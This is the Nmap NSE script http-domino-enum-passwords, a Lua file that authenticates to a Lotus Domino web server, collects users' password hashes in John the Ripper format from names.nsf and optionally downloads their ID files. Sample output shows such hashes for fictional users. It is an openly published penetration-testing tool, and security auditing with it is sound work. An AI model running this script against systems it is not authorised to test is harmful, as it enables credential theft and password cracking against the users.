| Current Path : /proc/2/root/usr/share/nmap/scripts/ |
| Current File : //proc/2/root/usr/share/nmap/scripts/http-domino-enum-passwords.nse |
description = [[
Attempts to enumerate the hashed Domino Internet Passwords that are
(by default) accessible by all authenticated users. This script can
also download any Domino ID Files attached to the Person document.
]]
---
-- @usage
-- nmap --script domino-enum-passwords -p 80 <host> --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret
--
-- This script attempts to enumerate the password hashes used to authenitcate
-- to the Lotus Domino Web interface. By default, these hashes are accessible
-- to every authenticated user. Passwords are presented in a form suitable for
-- running in John the Ripper.
--
-- The format can in two forms (http://comments.gmane.org/gmane.comp.security.openwall.john.user/785):
-- 1. Saltless (legacy support?)
-- Example: 355E98E7C7B59BD810ED845AD0FD2FC4
-- John's format name: lotus5
-- 2. Salted (also known as "More Secure Internet Password")
-- Example: (GKjXibCW2Ml6juyQHUoP)
-- John's format name: dominosec
--
-- In addition the script can be used to download
-- any ID files attached to the Person document.
--
-- It appears as if form based authentication is enabled, basic authentication
-- still works. Therefore the script should work in both scenarios. Valid
-- credentials can either be supplied directly using the parameters username
-- and password or indirectly from results of http-brute or http-form-brute.
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | domino-enum-passwords:
-- | Information
-- | Information retrieved as: "Jim Brass"
-- | Internet hashes (salted, jtr: --format=DOMINOSEC)
-- | Jim Brass:(GYvlbOz2idzni5peJUdD)
-- | Warrick Brown:(GZghNctqAnJgyklUl2ml)
-- | Gill Grissom:(GyhsteeXTr75YOSwW8mc)
-- | David Hodges:(GZEJRHqJEVc5IZCsNX0U)
-- | Ray Langston:(GE18MGVGD/8ftYMFaVlY)
-- | Greg Sanders:(GHpdG/7FX7iXXlaoY5sj)
-- | Sara Sidle:(GWzgG0kCQ5qmnqARL3cl)
-- | Wendy Simms:(G6wooaElHpsvA4TPvSfi)
-- | Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp)
-- | Catherine Willows:(GlDc3QP5ePFR38d7lQeM)
-- | Internet hashes (unsalted, jtr: --format=lotus5)
-- | Ada Lovelace:355E98E7C7B59BD810ED845AD0FD2FC4
-- | John Smith:655E98E7C7B59BD810ED845AD0FD2FD4
-- | ID Files
-- | Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id)
-- | Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id)
-- | Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id)
-- | David Hodges ID File has been downloaded (/tmp/id/David Hodges.id)
-- | Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id)
-- | Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id)
-- | Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id)
-- | Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id)
-- | Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id)
-- | Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id)
-- |
-- |_ Results limited to 10 results (see domino-enum-passwords.count)
--
--
-- @args domino-enum-passwords.path points to the path protected by authentication
-- @args domino-enum-passwords.hostname sets the host header in case of virtual hosting
-- @args domino-enum-passwords.count the number of internet hashes and id files to fetch.
-- If a negative value is given, all hashes and id files are retrieved (default: 10)
-- @args domino-enum-passwords.idpath the path where downloaded ID files should be saved
-- If not given, the script will only indicate if the ID file is donwloadable or not
--
-- Version 0.2
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
-- Revised 07/31/2010 - v0.2 - add support for downloading ID files
-- Revised 11/25/2010 - v0.3 - added support for separating hash-type <martin@swende.se>
author = "Patrik Karlsson"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
dependencies = {"http-brute", "http-form-brute"}
require 'shortport'
require 'http'
portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open")
--- Checks if the <code>path</code> require authentication
--
-- @param host table as received by the action function or the name specified
-- in the hostname argument
-- @param port table as received by the action function
-- @param path against which to check if authentication is required
local function requiresAuth( host, port, path )
local result = http.get(host, port, "/names.nsf")
if ( result.status == 401 ) then
return true
elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then
return true
end
return false
end
--- Checks if the credentials are valid and allow access to <code>path</code>
--
-- @param host table as received by the action function or the name specified
-- in the hostname argument
-- @param port as recieved by the action method
-- @param path the patch against which to validate the credentials
-- @param user the username used for authentication
-- @param pass the password used for authentication
-- @return true on valid access, false on failure
local function isValidCredential( host, port, path, user, pass )
-- we need to supply the no_cache directive, or else the http library
-- incorrectly tells us that the authentication was successfull
local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true })
if ( result.status == 401 ) then
return false
end
return true
end
--- Retrieves all uniq links in a pages
--
-- @param body the html content of the recieved page
-- @param filter a filter to use for additional link filtering
-- @param links [optional] table containing previousy retrieved links
-- @return links table containing retrieved links
local function getLinks( body, filter, links )
local tmp = {}
local links = links or {}
local filter = filter or ".*"
if ( not(body) ) then return end
for _, v in ipairs( links ) do
tmp[v] = true
end
for link in body:gmatch("<a href=\"([^\"]+)\"") do
-- use link as key in order to remove duplicates
if ( link:match(filter)) then
tmp[link] = true
end
end
links = {}
for k, _ in pairs(tmp) do
table.insert(links, k)
end
return links
end
--- Retrieves the "next page" path from the returned document
--
-- @param body the html content of the recieved page
-- @return link to next page
local function getPager( body )
return body:match("<form.+action=\"(.+%?ReadForm)\&" )
end
--- Retrieves the username and passwords for a user
--
-- @param body the html content of the recieved page
-- @return full_name the full name of the user
-- @return password the password hash for the user
local function getUserDetails( body )
-- retrieve the details
local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">")
local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">")
local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">")
local id_file = body:match("<a href=\"(.-UserID)\">")
-- Remove the parenthesis around the password
http_passwd = http_passwd:sub(2,-2)
-- In case we have more than one full name, return only the last
full_name = stdnse.strsplit(";%s*", full_name)
full_name = full_name[#full_name]
return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file }
end
--- Saves the ID file to disk
--
-- @param filename string containing the name and full path to the file
-- @param data contains the data
-- @return status true on success, false on failure
-- @return err string containing error message if status is false
local function saveIDFile( filename, data )
local f = io.open( filename, "w")
if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename)
end
if ( not(f:write( data ) ) ) then
return false, ("Failed to write file (%s)"):format(filename)
end
f:close()
return true
end
action = function(host, port)
local path = "/names.nsf"
local download_path = nmap.registry.args['domino-enum-passwords.idpath']
local vhost= nmap.registry.args['domino-enum-passwords.hostname']
local user = nmap.registry.args['domino-enum-passwords.username']
local pass = nmap.registry.args['domino-enum-passwords.password']
local creds, pos, pager
local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{}
local chunk_size = 30
local max_fetch = nmap.registry.args['domino-enum-passwords.count'] and tonumber(nmap.registry.args['domino-enum-passwords.count']) or 10
local http_response
if ( nmap.registry['credentials'] and nmap.registry['credentials']['http'] ) then
creds = nmap.registry['credentials']['http']
end
-- authentication required?
if ( requiresAuth( vhost or host, port, path ) ) then
if ( not(user) and not(creds) ) then
return " \n ERROR: No credentials supplied (see domino-enum-passwords.username and domino-enum-passwords.password)"
end
-- A user was provided, attempt to authenticate
if ( user ) then
if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
return " \n ERROR: The provided credentials where invalid"
end
elseif ( creds ) then
for _, cred in pairs(creds) do
if ( isValidCredential( vhost or host, port, path, cred.username, cred.password ) ) then
user = cred.username
pass = cred.password
break
end
end
end
end
if ( not(user) and not(pass) ) then
return " \n ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)"
end
path = "/names.nsf/People?OpenView"
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
pager = getPager( http_response.body )
if ( not(pager) ) then
if ( http_response.body and
http_response.body:match(".*\<input type=\"submit\".* value=\"Sign In\"\>.*" ) ) then
return " \n ERROR: Failed to authenticate"
else
return " \n ERROR: Failed to process results"
end
end
pos = 1
-- first collect all links
while( true ) do
path = pager .. "&Start=" .. pos
http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
if ( http_response.status == 200 ) then
local size = #links
links = getLinks( http_response.body, "%?OpenDocument", links )
-- No additions were made
if ( size == #links ) then
break
end
end
if ( max_fetch > 0 and max_fetch < #links ) then
break
end
pos = pos + chunk_size
end
for _, link in ipairs(links) do
stdnse.print_debug(2, "Fetching link: %s", link)
http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true })
local u_details = getUserDetails( http_response.body )
if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then
break
end
if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then
stdnse.print_debug(2, "Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd)
-- Old type are 32 bytes, new are 20
if #u_details.passwd == 32 then
table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd))
else
table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd))
end
end
if ( u_details.idfile ) then
stdnse.print_debug(2, "Found ID file for user: %s", u_details.fullname)
if ( download_path ) then
stdnse.print_debug(2, "Downloading ID file for user: %s", u_details.full_name)
http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true })
if ( http_response.status == 200 ) then
local status, err = saveIDFile( ("%s/%s.id"):format(download_path, u_details.fullname), http_response.body )
if ( status ) then
table.insert( id_files, ("%s ID File has been downloaded (%s/%s.id)"):format(u_details.fullname, download_path, u_details.fullname) )
else
table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) )
end
else
table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) )
end
else
table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) )
end
end
end
if( #hashes + #legacyHashes > 0) then
table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } )
end
if ( #hashes ) then
hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)"
table.insert( result, hashes )
end
if (#legacyHashes ) then
legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)"
table.insert( result, legacyHashes )
end
if ( #id_files ) then
id_files.name = "ID Files"
table.insert( result, id_files )
end
local result = stdnse.format_output(true, result)
if ( max_fetch > 0 ) then
result = result .. (" \n Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch)
end
return result
end
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